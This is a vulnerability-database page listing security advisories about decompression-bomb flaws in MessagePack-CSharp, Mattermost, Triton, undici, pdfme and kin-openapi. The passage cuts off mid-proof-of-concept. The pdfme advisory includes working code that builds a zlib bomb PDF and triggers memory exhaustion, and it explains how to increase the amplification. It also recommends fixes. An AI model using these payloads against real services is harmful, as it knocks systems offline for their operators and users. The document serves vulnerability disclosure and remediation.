CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
148 vulnerabilities reference this CWE, most recent first.
GHSA-V72X-2H86-7F8M
Vulnerability from github – Published: 2026-06-25 18:53 – Updated: 2026-06-25 18:53Summary
When MessagePack-CSharp decompresses Lz4Block or Lz4BlockArray payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.
A small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.
Impact
Applications are affected when they deserialize attacker-controlled MessagePack payloads with MessagePackCompression.Lz4Block or MessagePackCompression.Lz4BlockArray enabled.
In the Lz4Block case, an attacker-controlled integer is used to request the destination span. In the Lz4BlockArray case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.
This advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.
Affected components
- Package:
MessagePack - Feature: LZ4 compressed MessagePack payloads
- APIs:
MessagePackSerializerwithWithCompression(MessagePackCompression.Lz4Block)orWithCompression(MessagePackCompression.Lz4BlockArray) - Internal routine:
MessagePackSerializer.TryDecompress - Finding ID:
MESSAGEPACKCSHARP-OPEN-004
Patches
Fixes are prepared and will be released in coordinated patch versions.
Upgrade guidance:
- Upgrade
MessagePackto the patched version for your release line. - Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.
The fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.
Workarounds
Patching is recommended.
Until a patched version is available, do not enable MessagePack-CSharp's built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.
Resources
MESSAGEPACKCSHARP-OPEN-004: LZ4 decompression allocation from unbounded uncompressed lengthMESSAGEPACKCSHARP-011: duplicate decompression-bomb finding- CWE-409: Improper Handling of Highly Compressed Data
- CWE-770: Allocation of Resources Without Limits or Throttling
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.301"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48510"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:53:44Z",
"nvd_published_at": "2026-06-22T22:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen MessagePack-CSharp decompresses `Lz4Block` or `Lz4BlockArray` payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.\n\nA small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.\n\n## Impact\n\nApplications are affected when they deserialize attacker-controlled MessagePack payloads with `MessagePackCompression.Lz4Block` or `MessagePackCompression.Lz4BlockArray` enabled.\n\nIn the `Lz4Block` case, an attacker-controlled integer is used to request the destination span. In the `Lz4BlockArray` case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.\n\nThis advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: LZ4 compressed MessagePack payloads\n- APIs: `MessagePackSerializer` with `WithCompression(MessagePackCompression.Lz4Block)` or `WithCompression(MessagePackCompression.Lz4BlockArray)`\n- Internal routine: `MessagePackSerializer.TryDecompress`\n- Finding ID: `MESSAGEPACKCSHARP-OPEN-004`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, do not enable MessagePack-CSharp\u0027s built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-OPEN-004`: LZ4 decompression allocation from unbounded uncompressed length\n- `MESSAGEPACKCSHARP-011`: duplicate decompression-bomb finding\n- CWE-409: Improper Handling of Highly Compressed Data\n- CWE-770: Allocation of Resources Without Limits or Throttling",
"id": "GHSA-v72x-2h86-7f8m",
"modified": "2026-06-25T18:53:44Z",
"published": "2026-06-25T18:53:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-v72x-2h86-7f8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48510"
},
{
"type": "PACKAGE",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MessagePack-CSharp: LZ4 decompression allocates from unbounded declared output lengths"
}
GHSA-VHGH-G7X8-4RX8
Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-03-31 23:05Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.4.0"
},
{
"fixed": "11.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"11.4.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.3.0"
},
{
"fixed": "11.3.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0"
},
{
"fixed": "11.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-20260105080200-d27a2195068d"
},
{
"fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3114"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:05:48Z",
"nvd_published_at": "2026-03-26T17:16:42Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 11.4.x \u003c= 11.4.0, 11.3.x \u003c= 11.3.1, 11.2.x \u003c= 11.2.3, 10.11.x \u003c= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.",
"id": "GHSA-vhgh-g7x8-4rx8",
"modified": "2026-03-31T23:05:48Z",
"published": "2026-03-26T18:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3114"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mattermost doesn\u0027t validate decompressed archive entry sizes during file extraction"
}
GHSA-VQ94-FCWH-99V7
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-24264"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:45Z",
"severity": "HIGH"
},
"details": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.",
"id": "GHSA-vq94-fcwh-99v7",
"modified": "2026-07-01T18:31:49Z",
"published": "2026-07-01T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24264"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5848"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24264"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VRM6-8VPV-QV8Q
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Description
The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.
The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.
Impact
- Remote denial of service against any Node.js application using undici's WebSocket client
- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
- No application-level mitigation is possible as decompression occurs before message delivery
Patches
Users should upgrade to fixed versions.
Workarounds
No workaround are possible.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1526"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:56Z",
"nvd_published_at": "2026-03-12T21:16:23Z",
"severity": "HIGH"
},
"details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
"id": "GHSA-vrm6-8vpv-qv8q",
"modified": "2026-03-13T20:41:56Z",
"published": "2026-03-13T20:41:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3481206"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Denial_of_Service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}
GHSA-VRQM-GVQ7-RRWH
Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-20 20:44Summary
The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.
Details
The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).
Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:
protected ensureBuffer(requested: number) {
const buffer = this.buffer;
if (requested <= buffer.byteLength) {
return buffer;
}
let size = this.minBufferLength;
while (size < requested) {
size *= 2; // Doubles with no upper bound
}
const buffer2 = new Uint8Array(size); // Allocates without limit
buffer2.set(buffer);
return (this.buffer = buffer2);
}
The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.
Unconditional full decompression in decode() — DecodeStream.ts:139-141:
decode(): Uint8Array {
while (!this.eof) this.readBlock(); // Fully decompresses before returning
return this.buffer.subarray(0, this.bufferLength);
}
FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:
if (pos + 1 >= limit) {
buffer = this.ensureBuffer(pos + 1);
limit = buffer.length;
}
And again at line 297-300:
if (pos + len >= limit) {
buffer = this.ensureBuffer(pos + len);
limit = buffer.length;
}
Entry point via basePdf — packages/generator/src/helper.ts:42-43:
const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);
The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.
The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.
PoC
Step 1: Create a decompression bomb PDF
#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct
# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB
compressed = zlib.compress(uncompressed, 9)
# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
/Contents 4 0 R >>
endobj
4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj
xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
f.write(pdf)
f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")
print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")
Step 2: Trigger via @pdfme/generator
const { generate } = require('@pdfme/generator');
const fs = require('fs');
const bombPdf = fs.readFileSync('bomb.pdf');
// This will cause unbounded memory allocation during PDF parsing
generate({
template: {
basePdf: bombPdf, // Attacker-controlled input
schemas: [[]],
},
inputs: [{}],
plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));
Step 3: Observe memory exhaustion
# Monitor memory usage — the Node.js process will consume all available memory
# and either crash with a heap allocation failure or be OOM-killed
node --max-old-space-size=512 trigger.js
# Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"
For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.
Impact
- Denial of Service: Any application using
@pdfme/generatoror@pdfme/uithat allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. - Server-side impact: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.
- Client-side impact: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.
- No authentication bypass needed: The attack only requires the ability to supply a
basePdfvalue, which is the standard template input parameter — no elevated privileges are needed.
Recommended Fix
Add a maximum decoded size limit to ensureBuffer() in packages/pdf-lib/src/core/streams/DecodeStream.ts:
const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB
class DecodeStream implements StreamType {
// ... existing fields ...
protected ensureBuffer(requested: number) {
const buffer = this.buffer;
if (requested <= buffer.byteLength) {
return buffer;
}
if (requested > MAX_DECODED_SIZE) {
throw new Error(
`Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +
`This may indicate a decompression bomb.`
);
}
let size = this.minBufferLength;
while (size < requested) {
size *= 2;
}
// Cap the allocation even if the doubling overshoots
if (size > MAX_DECODED_SIZE) {
size = MAX_DECODED_SIZE;
}
const buffer2 = new Uint8Array(size);
buffer2.set(buffer);
return (this.buffer = buffer2);
}
}
Optionally, expose the limit via PDFDocument.load() options so consumers can tune it:
// In LoadOptions interface:
interface LoadOptions {
// ... existing options ...
maxDecodedStreamSize?: number; // Default: 100 MB
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.9"
},
"package": {
"ecosystem": "npm",
"name": "@pdfme/pdf-lib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:44:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** \u2014 `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested \u003c= buffer.byteLength) {\n return buffer;\n }\n let size = this.minBufferLength;\n while (size \u003c requested) {\n size *= 2; // Doubles with no upper bound\n }\n const buffer2 = new Uint8Array(size); // Allocates without limit\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** \u2014 `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n while (!this.eof) this.readBlock(); // Fully decompresses before returning\n return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression \u2014 `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 \u003e= limit) {\n buffer = this.ensureBuffer(pos + 1);\n limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len \u003e= limit) {\n buffer = this.ensureBuffer(pos + len);\n limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** \u2014 `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` \u2192 `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b\u0027\\x00\u0027 * (100 * 1024 * 1024) # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n /Contents 4 0 R \u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" \u003e\u003e\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n f.write(pdf)\n f.write(b\"trailer \u003c\u003c /Size 5 /Root 1 0 R \u003e\u003e\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require(\u0027@pdfme/generator\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst bombPdf = fs.readFileSync(\u0027bomb.pdf\u0027);\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n template: {\n basePdf: bombPdf, // Attacker-controlled input\n schemas: [[]],\n },\n inputs: [{}],\n plugins: {},\n}).catch(err =\u003e console.error(\u0027OOM or crash:\u0027, err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage \u2014 the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter \u2014 no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n // ... existing fields ...\n\n protected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested \u003c= buffer.byteLength) {\n return buffer;\n }\n\n if (requested \u003e MAX_DECODED_SIZE) {\n throw new Error(\n `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n `This may indicate a decompression bomb.`\n );\n }\n\n let size = this.minBufferLength;\n while (size \u003c requested) {\n size *= 2;\n }\n\n // Cap the allocation even if the doubling overshoots\n if (size \u003e MAX_DECODED_SIZE) {\n size = MAX_DECODED_SIZE;\n }\n\n const buffer2 = new Uint8Array(size);\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n // ... existing options ...\n maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
"id": "GHSA-vrqm-gvq7-rrwh",
"modified": "2026-03-20T20:44:52Z",
"published": "2026-03-20T20:44:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfme/pdfme"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS"
}
GHSA-WMM6-PGP8-29HG
Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 22:59Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.
Original Description
.NET and Visual Studio Denial of Service Vulnerability
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Nrbf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-606"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T22:59:42Z",
"nvd_published_at": "2024-11-12T18:15:24Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.\n\n## Original Description\n.NET and Visual Studio Denial of Service Vulnerability",
"id": "GHSA-wmm6-pgp8-29hg",
"modified": "2024-11-12T22:59:42Z",
"published": "2024-11-12T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43499"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43499"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: .NET and Visual Studio Denial of Service Vulnerability",
"withdrawn": "2024-11-12T22:59:42Z"
}
GHSA-WQ9G-9VFC-CFQ9
Vulnerability from github – Published: 2025-03-19 18:12 – Updated: 2025-05-15 16:44Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
